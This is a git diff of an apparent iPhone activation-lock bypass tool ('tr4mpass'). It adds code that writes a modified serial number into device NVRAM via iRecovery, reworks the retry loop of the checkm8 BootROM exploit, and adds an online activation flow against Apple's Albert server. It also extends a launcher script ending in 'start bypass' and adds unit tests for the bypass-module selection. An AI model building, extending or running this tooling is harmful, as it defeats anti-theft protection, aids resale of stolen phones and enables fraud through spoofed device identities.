visible to mobileactivationd. + * + * Device must already be in recovery mode before this is called. + * path_b.c:step_reboot_to_recovery() handles the DFU -> recovery transition. + */ +int path_b_write_serial_irecovery(device_info_t *dev, const char *new_serial) +{ + irecv_client_t client = NULL; + irecv_error_t err; + const struct irecv_device_info *info; + char cmd[DFU_SERIAL_MAX + 32]; + int rc = -1; + + if (!dev || !new_serial) { + log_error("[path_b_id] Invalid arguments to write_serial_irecovery"); + return -1; + } + + /* Open device -- prefer ECID match to avoid touching wrong device. + * irecv_open_with_ecid with ecid=0 matches any connected device. */ + if (dev->ecid != 0) + err = irecv_open_with_ecid_and_attempts(&client, (uint64_t)dev->ecid, 5); + else + err = irecv_open_with_ecid_and_attempts(&client, 0, 5); + + if (err != IRECV_E_SUCCESS || !client) { + log_error("[path_b_id] Could not open device in recovery mode: %s", + irecv_strerror(err)); + return -1; + } + + /* Verify the device is actually in recovery (not DFU or normal) */ + info = irecv_get_device_info(client); + if (!info || info->pid != APPLE_RECOVERY_PID) { + log_error("[path_b_id] Device is not in recovery mode (pid=0x%04X)", + info ? (unsigned)info->pid : 0); + irecv_close(client); + return -1; + } + + /* Set the serial-number environment variable */ + err = irecv_setenv(client, "serial-number", new_serial); + if (err != IRECV_E_SUCCESS) { + log_error("[path_b_id] irecv_setenv serial-number failed: %s", + irecv_strerror(err)); + goto done; + } + log_info("[path_b_id] setenv serial-number succeeded"); + + /* Persist to NVRAM -- non-fatal if saveenv is unsupported by iBoot */ + err = irecv_saveenv(client); + if (err != IRECV_E_SUCCESS) + log_warn("[path_b_id] saveenv failed (%s), continuing (in-session only)", + irecv_strerror(err)); + else + log_info("[path_b_id] Serial persisted to NVRAM via saveenv"); + + (void)cmd; /* cmd buffer no longer needed -- keeping for future use */ + + log_info("[path_b_id] Serial set via iRecovery: %s", new_serial); + rc = 0; + +done: + irecv_close(client); + return rc; +} + +/* + * path_b_write_serial -- Write modified serial to the device. + * Routes through iRecovery setenv (recovery mode) since A12+ BootROM + * STALLs the USB SET_DESCRIPTOR request. */ int path_b_write_serial(device_info_t *dev, const char *new_serial) { - uint8_t desc[USB_DESC_MAX_LEN]; - int desc_len; - int rc; - if (!dev || !new_serial) { log_error("[path_b_id] Invalid arguments to write_serial"); return -1; } - if (!dev->usb) { - log_error("[path_b_id] No USB handle -- device not in DFU mode?"); - return -1; - } - - desc_len = ascii_to_utf16le_desc(new_serial, desc, sizeof(desc)); - if (desc_len < 0) { - log_error("[path_b_id] Serial string too long for USB descriptor"); - return -1; - } - - /* SET_DESCRIPTOR: host-to-device, standard, device recipient */ - rc = usb_ctrl_transfer( - dev->usb, - 0x00, /* bmRequestType */ - USB_REQ_SET_DESCRIPTOR, /* bRequest */ - (uint16_t)((USB_DT_STRING << 8) | DFU_SERIAL_DESC_INDEX), - 0x0409, /* wIndex (lang) */ - desc, /* data */ - (uint16_t)desc_len, /* wLength */ - DFU_USB_TIMEOUT /* timeout ms */ - ); - - if (rc < 0) { - log_warn("[path_b_id] SET_DESCRIPTOR returned: %s", - libusb_error_name(rc)); - usb_print_error(rc); - return -1; - } - - log_info("[path_b_id] Serial descriptor written (%d bytes)", desc_len); - return 0; + log_info("[path_b_id] Writing serial via iRecovery (recovery mode)..."); + return path_b_write_serial_irecovery(dev, new_serial); } /* path_b_manipulate_identity -- Read, append PWND marker, write, verify. */ diff --git a/src/device/usb_dfu.c b/src/device/usb_dfu.c index 0de5afd..63a8288 100644 --- a/src/device/usb_dfu.c +++ b/src/device/usb_dfu.c @@ -205,6 +205,19 @@ int usb_dfu_read_info(libusb_device_handle *handle, uint32_t *cpid, } } + /* When CPID is still zero after parsing, the serial is likely the + * uninitialised iBoot string -- device is not in true SecureROM DFU mode. */ + if (cpid && *cpid == 0 && + strncmp((char *)buf, "Apple Mobile Device", 19) == 0) { + log_error("DFU serial indicates device is NOT in SecureROM DFU mode."); + log_info("Expected format: 'CPID:XXXX CPRV:XX BDID:XX ECID:XXXX ...'"); + log_info("Re-enter DFU using the correct button sequence:"); + log_info(" Home button: Power+Home 10s, release Power, hold Home 5s"); + log_info(" Face ID: Vol-Up, Vol-Down, hold Side to black screen,"); + log_info(" Side+Vol-Down 5s, release Side, hold Vol-Down 10s"); + log_info("Screen must stay completely BLACK (no Apple logo)."); + } + return 0; } diff --git a/src/exploit/checkm8.c b/src/exploit/checkm8.c index f9b3d56..26172ea 100644 --- a/src/exploit/checkm8.c +++ b/src/exploit/checkm8.c @@ -139,9 +139,7 @@ int checkm8_verify_pwned(device_info_t *dev) int checkm8_exploit(device_info_t *dev) { - exploit_ctx_t ctx; int attempt; - int pwned; if (!dev) { log_error("checkm8_exploit: NULL device"); @@ -150,42 +148,56 @@ int checkm8_exploit(device_info_t *dev) log_info("checkm8_exploit: starting exploit on CPID 0x%04X", dev->cpid); - if (exploit_init(&ctx, dev) != 0) - return -1; - for (attempt = 1; attempt <= MAX_EXPLOIT_TRIES; attempt++) { - log_info("checkm8_exploit: attempt %d/%d", attempt, - MAX_EXPLOIT_TRIES); + exploit_ctx_t ctx; + int pwned; - if (exploit_deliver(&ctx) != 0) { - log_warn("checkm8_exploit: attempt %d failed, retrying...", - attempt); - usleep(STAGE_DELAY_USEC * 10); + /* On retries, the device USB-resets after a failed attempt. + * Close the stale handle and re-enumerate before trying again. */ + if (attempt > 1) { + if (dev->usb) { + usb_dfu_close(dev->usb); + dev->usb = NULL; + } + log_info("checkm8_exploit: waiting for device reset..."); + usleep(USB_RECONNECT_DELAY_USEC); + + if (usb_dfu_find(&dev->usb) != 0) { + log_error("checkm8_exploit: DFU device lost after attempt %d, cannot retry", + attempt - 1); + return -1; + } + log_info("checkm8_exploit: USB handle re-acquired for retry %d", attempt); + } + + log_info("checkm8_exploit: attempt %d/%d", attempt, MAX_EXPLOIT_TRIES); + + if (exploit_init(&ctx, dev) != 0) { + log_warn("checkm8_exploit: init failed on attempt %d", attempt); + exploit_cleanup(&ctx); + continue; + } + + if (exploit_deliver(&ctx) != 0) { + log_warn("checkm8_exploit: attempt %d failed, retrying...", attempt); + exploit_cleanup(&ctx); continue; } - /* Verify the exploit worked */ pwned = checkm8_verify_pwned(dev); + exploit_cleanup(&ctx); + if (pwned == 1) { log_info("checkm8_exploit: success on attempt %d", attempt); - ctx.phase = EXPLOIT_PHASE_DONE; - exploit_cleanup(&ctx); return 0; } - if (pwned < 0) { - log_error("checkm8_exploit: verification error on attempt %d", - attempt); - } else { - log_warn("checkm8_exploit: not pwned after attempt %d", - attempt); - } - - usleep(STAGE_DELAY_USEC * 10); + if (pwned < 0) + log_error("checkm8_exploit: verification error on attempt %d", attempt); + else + log_warn("checkm8_exploit: not pwned after attempt %d", attempt); } - log_error("checkm8_exploit: failed after %d attempts", - MAX_EXPLOIT_TRIES); - exploit_cleanup(&ctx); + log_error("checkm8_exploit: failed after %d attempts", MAX_EXPLOIT_TRIES); return -1; } diff --git a/src/main.c b/src/main.c index c9b428d..032a847 100644 --- a/src/main.c +++ b/src/main.c @@ -13,12 +13,16 @@ #include "bypass/bypass.h" #include "bypass/path_a.h" #include "bypass/path_b.h" +#include "activation/session.h" +#include "activation/activation.h" #include "util/log.h" typedef struct { int verbose; int dry_run; int detect_only; + int activate_only; + int probe_albert; int force_path_a; int force_path_b; uint32_t cpid_override; @@ -39,29 +43,38 @@ static void print_usage(const char *prog) { printf("Usage: %s [OPTIONS]\n\n" "Options:\n" - " -v, --verbose Enable debug logging\n" - " -n, --dry-run Show what would run, do not execute\n" - " -d, --detect-only Detect device and exit\n" - " -a, --force-path-a Force Path A (checkm8, A5-A11)\n" - " -b, --force-path-b Force Path B (identity, A12+)\n" - " --cpid Override CPID (e.g. --cpid 0x8960)\n" - " --ecid Override ECID (e.g. --ecid 0x1F70CB1331C)\n" - " -h, --help Show this help message\n", prog); + " -v, --verbose Enable debug logging\n" + " -n, --dry-run Show what would run, do not execute\n" + " -d, --detect-only Detect device and exit\n" + " --activate-only Online activation via Albert (normal mode)\n" + " --probe-albert Dump IngestBody fields + drmHandshake only\n" + " -a, --force-path-a Force Path A (checkm8, A5-A11)\n" + " -b, --force-path-b Force Path B (identity, A12+)\n" + " --cpid Override CPID (e.g. --cpid 0x8960)\n" + " --ecid Override ECID (e.g. --ecid 0x1F70CB1331C)\n" + " -h, --help Show this help message\n", prog); } static int parse_args(int argc, char *argv[], cli_opts_t *opts) { - enum { OPT_CPID = 256, OPT_ECID = 257 }; + enum { + OPT_CPID = 256, + OPT_ECID = 257, + OPT_ACTIVATE_ONLY = 258, + OPT_PROBE_ALBERT = 259, + }; static const struct option longopts[] = { - { "verbose", no_argument, NULL, 'v' }, - { "dry-run", no_argument, NULL, 'n' }, - { "detect-only", no_argument, NULL, 'd' }, - { "force-path-a", no_argument, NULL, 'a' }, - { "force-path-b", no_argument, NULL, 'b' }, - { "cpid", required_argument, NULL, OPT_CPID }, - { "ecid", required_argument, NULL, OPT_ECID }, - { "help", no_argument, NULL, 'h' }, + { "verbose", no_argument, NULL, 'v' }, + { "dry-run", no_argument, NULL, 'n' }, + { "detect-only", no_argument, NULL, 'd' }, + { "activate-only", no_argument, NULL, OPT_ACTIVATE_ONLY }, + { "probe-albert", no_argument, NULL, OPT_PROBE_ALBERT }, + { "force-path-a", no_argument, NULL, 'a' }, + { "force-path-b", no_argument, NULL, 'b' }, + { "cpid", required_argument, NULL, OPT_CPID }, + { "ecid", required_argument, NULL, OPT_ECID }, + { "help", no_argument, NULL, 'h' }, { NULL, 0, NULL, 0 } }; @@ -70,11 +83,15 @@ static int parse_args(int argc, char *argv[], cli_opts_t *opts) int c; while ((c = getopt_long(argc, argv, "vndabh", longopts, NULL)) != -1) { switch (c) { - case 'v': opts->verbose = 1; break; - case 'n': opts->dry_run = 1; break; - case 'd': opts->detect_only = 1; break; - case 'a': opts->force_path_a = 1; break; - case 'b': opts->force_path_b = 1; break; + case 'v': opts->verbose = 1; break; + case 'n': opts->dry_run = 1; break; + case 'd': opts->detect_only = 1; break; + case OPT_ACTIVATE_ONLY: + opts->activate_only = 1; break; + case OPT_PROBE_ALBERT: + opts->probe_albert = 1; break; + case 'a': opts->force_path_a = 1; break; + case 'b': opts->force_path_b = 1; break; case OPT_CPID: opts->cpid_override = (uint32_t)strtoul(optarg, NULL, 16); opts->has_cpid_override = 1; @@ -247,6 +264,65 @@ int main(int argc, char *argv[]) return 0; } + if (opts.probe_albert) { + plist_t session_info = NULL; + int prc = -1; + + if (!dev.handle) { + log_error("--probe-albert requires device in normal mode with lockdownd"); + cleanup(&dev); + return 1; + } + + log_info("=== Albert probe: IngestBody dump + drmHandshake only ==="); + + if (session_get_info(&dev, &session_info) == 0) + prc = session_probe_albert(&dev, session_info); + + if (session_info) plist_free(session_info); + cleanup(&dev); + return (prc == 0) ? 0 : 1; + } + + if (opts.activate_only) { + plist_t session_info = NULL; + plist_t hs_response = NULL; + plist_t activ_info = NULL; + plist_t activ_record = NULL; + int arc = -1; + + if (!dev.handle) { + log_error("--activate-only requires device in normal mode with lockdownd"); + cleanup(&dev); + return 1; + } + + log_info("=== Online activation via Albert server ==="); + + if (session_get_info(&dev, &session_info) != 0) goto ao_done; + if (session_drm_handshake_online(&dev, session_info, &hs_response) != 0) goto ao_done; + if (session_create_activation_info(&dev, hs_response, &activ_info) != 0) goto ao_done; + if (session_device_activation_online(&dev, activ_info, &activ_record) != 0) goto ao_done; + if (session_activate(&dev, activ_record, hs_response) != 0) goto ao_done; + + arc = activation_is_activated(&dev); + if (arc == 1) { + printf("\n[+] Device activated successfully.\n"); + arc = 0; + } else { + printf("\n[-] Activation step completed but device not yet activated.\n"); + arc = 1; + } + +ao_done: + if (session_info) plist_free(session_info); + if (hs_response) plist_free(hs_response); + if (activ_info) plist_free(activ_info); + if (activ_record) plist_free(activ_record); + cleanup(&dev); + return arc < 0 ? 1 : arc; + } + register_modules(); bypass_list(); diff --git a/start.sh b/start.sh index e0f257f..e1e4a9c 100755 --- a/start.sh +++ b/start.sh @@ -189,8 +189,10 @@ install_deps() { apt) install_deps_linux_apt ;; dnf) install_deps_linux_dnf ;; pacman) - msg_warn "Arch Linux detected. Install manually:" - msg_info " sudo pacman -S libimobiledevice libirecovery libusb libplist openssl pkg-config base-devel" + msg_warn "Arch Linux detected. Install from AUR:" + msg_info " yay -S libimobiledevice libirecovery libusb libplist openssl pkg-config base-devel" + msg_info " or: paru -S libimobiledevice-git libirecovery-git" + msg_info "Re-run this script after installing." exit 1 ;; esac @@ -276,10 +278,30 @@ check_normal() { return 1 } +check_wsl_usb_passthrough() { + msg_warn "WSL detected: USB devices require passthrough via usbipd-win." + echo "" + echo " To pass through your iOS device:" + echo " 1. In Windows PowerShell (Admin):" + echo " usbipd list # find your device bus ID" + echo " usbipd bind --busid " + echo " usbipd attach --busid --wsl" + echo " 2. Install usbipd if not present:" + echo " winget install usbipd" + echo " 3. Re-run ./start.sh after attaching." + echo "" + if lsusb 2>/dev/null | grep -q "05ac"; then + msg_ok "Apple device visible via lsusb -- USB passthrough is working." + else + msg_err "No Apple USB device visible in WSL. Complete the passthrough steps above." + fi +} + wait_for_device() { local timeout=60 local elapsed=0 local interval=2 + local wsl_warned=0 msg_info "Connect your iOS device via USB cable." echo "" @@ -297,6 +319,14 @@ wait_for_device() { return 0 fi + # Show usbipd guidance once after the first poll cycle on WSL + if [ "$DETECTED_OS" = "wsl" ] && [ "$wsl_warned" -eq 0 ] && [ "$elapsed" -ge "$interval" ]; then + echo "" + check_wsl_usb_passthrough + echo "" + wsl_warned=1 + fi + printf "\r${CYAN}[*]${RESET} Waiting for device... %ds / %ds" "$elapsed" "$timeout" sleep "$interval" elapsed=$((elapsed + interval)) @@ -315,6 +345,17 @@ parse_device_info() { local output output="$("$BINARY" --detect-only 2>&1)" || true + if [ -z "$output" ]; then + msg_err "Device query returned no output (binary may have crashed or device disconnected)." + msg_info "Ensure the device is still connected and try again." + msg_info "On Linux: check that usbmuxd is running: sudo systemctl status usbmuxd" + DEV_MODEL="" DEV_CHIP_NAME="" DEV_CPID="" DEV_IOS="" + DEV_SERIAL="" DEV_IMEI="" DEV_CHECKM8="" DEV_DFU="" + DEV_BYPASS="(none)" + DEV_STATUS="UNSUPPORTED" + return 0 + fi + # Parse fields from tr4mpass --detect-only output DEV_MODEL="$(echo "$output" | grep "Product Type:" | sed 's/.*Product Type:[[:space:]]*//')" DEV_CHIP_NAME="$(echo "$output" | grep "Chip Name:" | sed 's/.*Chip Name:[[:space:]]*//')" @@ -336,6 +377,7 @@ parse_device_info() { DEV_BYPASS="(none)" DEV_STATUS="UNSUPPORTED" fi + return 0 } display_device_info() { @@ -501,11 +543,16 @@ main() { msg_info "Device in DFU mode. Querying chip info..." parse_device_info - local dfu_bypass="auto-detect" - if [ "$DEV_CHECKM8" = "YES" ]; then - dfu_bypass="Path A (checkm8, A5-A11)" - elif [ -n "$DEV_CPID" ] && [ "$DEV_CPID" != "0x0000" ]; then - dfu_bypass="Path B (identity, A12+)" + # Derive real support status from parsed CPID (same logic as normal-mode branch) + if [ -z "$DEV_CPID" ] || [ "$DEV_CPID" = "0x0000" ]; then + msg_warn "Chip ID could not be read from DFU serial descriptor." + msg_info "This usually means the device is not in true SecureROM DFU mode." + msg_info "Re-enter DFU mode using the precise button sequence and try again." + msg_info " Home button: Power+Home 10s, release Power, hold Home 5s" + msg_info " Face ID: Vol-Up, Vol-Down, hold Side to black screen," + msg_info " Side+Vol-Down 5s, release Side, hold Vol-Down 10s" + msg_info "Screen must stay completely BLACK (no Apple logo)." + exit 1 fi echo "" @@ -514,11 +561,18 @@ main() { echo "========================================" printf " %-12s %s\n" "Mode:" "DFU" printf " %-12s %s\n" "Chip:" "${DEV_CHIP_NAME:-(unknown)} (CPID: ${DEV_CPID:-(unknown)})" - printf " %-12s %s\n" "Bypass:" "$dfu_bypass" - printf " %-12s %s\n" "Status:" "SUPPORTED (DFU detected)" + printf " %-12s %s\n" "Bypass:" "$DEV_BYPASS" + printf " %-12s %s\n" "Status:" "$DEV_STATUS" echo "========================================" echo "" - msg_ok "Device in DFU mode. Ready to proceed." + + if [ "$DEV_STATUS" = "UNSUPPORTED" ]; then + msg_err "UNSUPPORTED: Device chip could not be identified or is not in the chip database." + msg_info "This tool supports A5 through A17 chips." + exit 1 + fi + + msg_ok "Device is supported. Ready to proceed." printf "${BOLD}Press Enter to start bypass...${RESET}" read -r fi diff --git a/tests/test_sections.c b/tests/test_sections.c new file mode 100644 index 0000000..87502fc --- /dev/null +++ b/tests/test_sections.c @@ -0,0 +1,364 @@ +/* + * test_sections.c -- Unit tests for logic that does not require USB/lockdownd hardware. + * + * Sections: + * 1. DFU serial CPID/ECID parsing + * 2. Chip database lookups + * 3. Bypass module probe logic (via mock modules) + * 4. Exploit retry constants + * + * Build: make test + * Run: ./tests/run_tests + */ + +#include +#include +#include +#include + +#include "device/chip_db.h" +#include "bypass/bypass.h" +#include "device/device.h" +#include "exploit/checkm8_internal.h" + +/* ------------------------------------------------------------------ */ +/* Minimal test framework */ +/* ------------------------------------------------------------------ */ + +static int g_passes = 0; +static int g_failures = 0; + +#define ASSERT(expr) do { \ + if (!(expr)) { \ + fprintf(stderr, "FAIL %s:%d %s\n", __FILE__, __LINE__, #expr); \ + g_failures++; \ + } else { \ + g_passes++; \ + } \ +} while (0) + +#define ASSERT_EQ(a, b) ASSERT((a) == (b)) +#define ASSERT_NEQ(a, b) ASSERT((a) != (b)) +#define ASSERT_NULL(p) ASSERT((p) == NULL) +#define ASSERT_NOTNULL(p) ASSERT((p) != NULL) + +/* ------------------------------------------------------------------ */ +/* Section 1 -- DFU serial CPID/ECID parsing */ +/* ------------------------------------------------------------------ */ + +/* + * Inline copy of parse_hex_field logic from usb_dfu.c. + * Tested here independently of the hardware-dependent USB code. + */ +static int test_parse_hex_field(const char *serial, const char *key, + uint64_t *out) +{ + const char *p; + char *endptr; + + if (!serial || !key || !out) + return -1; + p = strstr(serial, key); + if (!p) + return -1; + endptr = NULL; + *out = strtoull(p + strlen(key), &endptr, 16); + if (!endptr || endptr == p + strlen(key)) { + *out = 0; + } + return 0; +} + +static void test_parse_cpid_normal(void) +{ + const char *serial = "CPID:8015 CPRV:11 BDID:0C ECID:001A2B3C4D5E6F70 " + "IBFL:3C SRTG:[iBoot-4142.0.0.0.1]"; + uint64_t cpid = 0, ecid = 0; + + ASSERT_EQ(test_parse_hex_field(serial, "CPID:", &cpid), 0); + ASSERT_EQ(cpid, (uint64_t)0x8015); + + ASSERT_EQ(test_parse_hex_field(serial, "ECID:", &ecid), 0); + ASSERT_EQ(ecid, (uint64_t)0x001A2B3C4D5E6F70ULL); +} + +static void test_parse_cpid_a9_samsung(void) +{ + const char *serial = "CPID:8003 CPRV:10 BDID:02 ECID:AABB112233445566"; + uint64_t cpid = 0; + + ASSERT_EQ(test_parse_hex_field(serial, "CPID:", &cpid), 0); + ASSERT_EQ(cpid, (uint64_t)0x8003); +} + +static void test_parse_cpid_empty_serial(void) +{ + /* Bare DFU string -- no CPID/ECID fields */ + const char *serial = "Apple Mobile Device (DFU Mode)"; + uint64_t cpid = 0xDEAD, ecid = 0xDEAD; + + ASSERT_EQ(test_parse_hex_field(serial, "CPID:", &cpid), -1); + ASSERT_EQ(test_parse_hex_field(serial, "ECID:", &ecid), -1); + /* Outputs unchanged on failure */ + ASSERT_EQ(cpid, (uint64_t)0xDEAD); + ASSERT_EQ(ecid, (uint64_t)0xDEAD); +} + +static void test_parse_cpid_partial(void) +{ + /* CPID present, ECID absent */ + const char *serial = "CPID:8960 CPRV:01"; + uint64_t cpid = 0, ecid = 0xBEEF; + + ASSERT_EQ(test_parse_hex_field(serial, "CPID:", &cpid), 0); + ASSERT_EQ(cpid, (uint64_t)0x8960); + ASSERT_EQ(test_parse_hex_field(serial, "ECID:", &ecid), -1); + ASSERT_EQ(ecid, (uint64_t)0xBEEF); /* unchanged */ +} + +static void run_serial_parse_tests(void) +{ + printf("--- Section 1: DFU serial parsing ---\n"); + test_parse_cpid_normal(); + test_parse_cpid_a9_samsung(); + test_parse_cpid_empty_serial(); + test_parse_cpid_partial(); +} + +/* ------------------------------------------------------------------ */ +/* Section 2 -- Chip database */ +/* ------------------------------------------------------------------ */ + +static void test_chip_db_a9_tsmc(void) +{ + const chip_info_t *c = chip_db_lookup(0x8000); + ASSERT_NOTNULL(c); + ASSERT_EQ(c->checkm8_vulnerable, 1); + ASSERT(strstr(c->name, "A9") != NULL); +} + +static void test_chip_db_a9_samsung(void) +{ + const chip_info_t *c = chip_db_lookup(0x8003); + ASSERT_NOTNULL(c); + ASSERT_EQ(c->checkm8_vulnerable, 1); +} + +static void test_chip_db_a11(void) +{ + const chip_info_t *c = chip_db_lookup(0x8015); + ASSERT_NOTNULL(c); + ASSERT_EQ(c->checkm8_vulnerable, 1); + ASSERT(strstr(c->name, "A11") != NULL); +} + +static void test_chip_db_a12(void) +{ + const chip_info_t *c = chip_db_lookup(0x8020); + ASSERT_NOTNULL(c); + ASSERT_EQ(c->checkm8_vulnerable, 0); +} + +static void test_chip_db_a14(void) +{ + const chip_info_t *c = chip_db_lookup(0x8101); + ASSERT_NOTNULL(c); + ASSERT_EQ(c->checkm8_vulnerable, 0); +} + +static void test_chip_db_unknown(void) +{ + ASSERT_NULL(chip_db_lookup(0xDEAD)); +} + +static void test_chip_db_zero(void) +{ + ASSERT_NULL(chip_db_lookup(0x0000)); +} + +static void run_chip_db_tests(void) +{ + printf("--- Section 2: Chip database ---\n"); + test_chip_db_a9_tsmc(); + test_chip_db_a9_samsung(); + test_chip_db_a11(); + test_chip_db_a12(); + test_chip_db_a14(); + test_chip_db_unknown(); + test_chip_db_zero(); +} + +/* ------------------------------------------------------------------ */ +/* Section 3 -- Bypass module probe logic */ +/* */ +/* Tests the probe selection logic directly via mock modules that */ +/* replicate the path_a/path_b probe conditions without requiring */ +/* any hardware linkage. */ +/* ------------------------------------------------------------------ */ + +/* + * Mock probe: matches checkm8-vulnerable devices in DFU mode (Path A logic). + */ +static int mock_probe_path_a(device_info_t *dev) +{ + if (!dev) return -1; + if (dev->checkm8_vulnerable != 1) return 0; + if (dev->is_dfu_mode != 1) return 0; + return 1; +} + +/* + * Mock probe: matches A12+ (non-checkm8) devices in DFU mode (Path B logic). + */ +static int mock_probe_path_b(device_info_t *dev) +{ + if (!dev) return -1; + if (dev->checkm8_vulnerable != 0) return 0; + if (dev->is_dfu_mode != 1) return 0; + return 1; +} + +static int mock_execute_noop(device_info_t *dev) { (void)dev; return 0; } + +static const bypass_module_t mock_path_a = { + .name = "mock_path_a", + .description = "Mock Path A for testing", + .probe = mock_probe_path_a, + .execute = mock_execute_noop +}; + +static const bypass_module_t mock_path_b = { + .name = "mock_path_b", + .description = "Mock Path B for testing", + .probe = mock_probe_path_b, + .execute = mock_execute_noop +}; + +static device_info_t make_dev(int checkm8_vuln, int is_dfu) +{ + device_info_t dev; + memset(&dev, 0, sizeof(dev)); + dev.checkm8_vulnerable = checkm8_vuln; + dev.is_dfu_mode = is_dfu; + return dev; +} + +static void test_probe_path_a_compatible(void) +{ + device_info_t dev = make_dev(1, 1); + ASSERT_EQ(mock_probe_path_a(&dev), 1); +} + +static void test_probe_path_a_not_dfu(void) +{ + device_info_t dev = make_dev(1, 0); + ASSERT_EQ(mock_probe_path_a(&dev), 0); +} + +static void test_probe_path_a_a12(void) +{ + device_info_t dev = make_dev(0, 1); + ASSERT_EQ(mock_probe_path_a(&dev), 0); +} + +static void test_probe_path_b_compatible(void) +{ + device_info_t dev = make_dev(0, 1); + ASSERT_EQ(mock_probe_path_b(&dev), 1); +} + +static void test_probe_path_b_a11(void) +{ + device_info_t dev = make_dev(1, 1); + ASSERT_EQ(mock_probe_path_b(&dev), 0); +} + +static void test_probe_path_b_not_dfu(void) +{ + device_info_t dev = make_dev(0, 0); + ASSERT_EQ(mock_probe_path_b(&dev), 0); +} + +static void test_probe_select_prefers_a(void) +{ + /* Both modules registered; checkm8-vulnerable device -> Path A selected */ + bypass_register(&mock_path_a); + bypass_register(&mock_path_b); + + device_info_t dev = make_dev(1, 1); + const bypass_module_t *sel = bypass_select(&dev); + ASSERT_NOTNULL(sel); + ASSERT_EQ(strcmp(sel->name, "mock_path_a"), 0); +} + +static void test_probe_select_falls_to_b(void) +{ + /* A12+ device -> Path A probe returns 0, Path B selected */ + device_info_t dev = make_dev(0, 1); + const bypass_module_t *sel = bypass_select(&dev); + ASSERT_NOTNULL(sel); + ASSERT_EQ(strcmp(sel->name, "mock_path_b"), 0); +} + +static void test_probe_select_no_match(void) +{ + /* Normal mode A12+ device -> neither probe matches */ + device_info_t dev = make_dev(0, 0); + ASSERT_NULL(bypass_select(&dev)); +} + +static void run_bypass_probe_tests(void) +{ + printf("--- Section 3: Bypass probe logic ---\n"); + test_probe_path_a_compatible(); + test_probe_path_a_not_dfu(); + test_probe_path_a_a12(); + test_probe_path_b_compatible(); + test_probe_path_b_a11(); + test_probe_path_b_not_dfu(); + /* These two share a module registry -- must run after the individual tests */ + test_probe_select_prefers_a(); + test_probe_select_falls_to_b(); + test_probe_select_no_match(); +} + +/* ------------------------------------------------------------------ */ +/* Section 4 -- Exploit retry constants */ +/* ------------------------------------------------------------------ */ + +static void test_retry_constant(void) +{ + ASSERT_EQ(MAX_EXPLOIT_TRIES, 3); +} + +static void test_reconnect_delay(void) +{ + ASSERT_EQ(USB_RECONNECT_DELAY_USEC, 2000000); +} + +static void run_constant_tests(void) +{ + printf("--- Section 4: Exploit constants ---\n"); + test_retry_constant(); + test_reconnect_delay(); +} + +/* ------------------------------------------------------------------ */ +/* Main */ +/* ------------------------------------------------------------------ */ + +int main(void) +{ + printf("tr4mpass unit tests\n"); + printf("===================\n"); + + run_serial_parse_tests(); + run_chip_db_tests(); + run_bypass_probe_tests(); + run_constant_tests(); + + printf("===================\n"); + printf("Results: %d passed, %d failed\n", g_passes, g_failures); + + return g_failures > 0 ? 1 : 0; +}